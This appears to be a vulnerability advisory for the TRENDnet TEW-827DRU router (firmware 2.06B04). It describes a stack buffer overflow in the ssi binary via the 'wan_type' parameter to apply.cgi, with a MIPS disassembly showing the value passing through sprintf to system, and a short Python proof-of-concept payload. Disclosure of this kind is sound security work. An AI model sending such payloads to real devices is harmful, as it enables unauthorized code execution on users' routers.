TEW-827DRU

Firmware version

```
TEW-827DRU firmware: 2.06B04
```

Description

```
TRENDnet TEW-827DRU with firmware up to and including 2.06B04 contains a stack-
based buffer overflow in the ssi binary. The overflow allows an authenticated
user to execute arbitrary code by POSTing to apply.cgi via the action
st_dev_connect with a sufficiently long key "wan_type".
```

Detial

```
The bug in function: 0x42C15C, binary: www/cgi/ssi
The parameter 'wan_type' pass to sprintf
```

```
0042C198                addiu   $a0, $v0, (aWanType - 0x4C0000)  # "wan_type"
0042C19C                la      $v0, getenv
0042C1A0                nop
0042C1A4                move    $t9, $v0
0042C1A8                jalr    $t9 ; getenv
0042C1AC                nop
0042C1B0                lw      $gp, 0xA8+var_98($fp)
0042C1B4                addiu   $v1, $fp, 0xA8+var_90
0042C1B8                move    $a0, $v1        # s
0042C1BC                move    $a1, $s0        # format
0042C1C0                move    $a2, $v0
0042C1C4                la      $v0, sprintf
0042C1C8                nop
0042C1CC                move    $t9, $v0
0042C1D0                jalr    $t9 ; sprintf
0042C1D4                nop
0042C1D8                lw      $gp, 0xA8+var_98($fp)
0042C1DC                addiu   $v0, $fp, 0xA8+var_90
0042C1E0                move    $a0, $v0        # command
0042C1E4                la      $v0, system
0042C1E8                nop
0042C1EC                move    $t9, $v0
0042C1F0                jalr    $t9 ; system
```

Send Packege

```
    payload = 'A'*0x100
    scommand = bytes(payload, 'utf8')
    data4 = {
        b'action': b'st_dev_connect',
        b'wan_type': scommand,
    }
```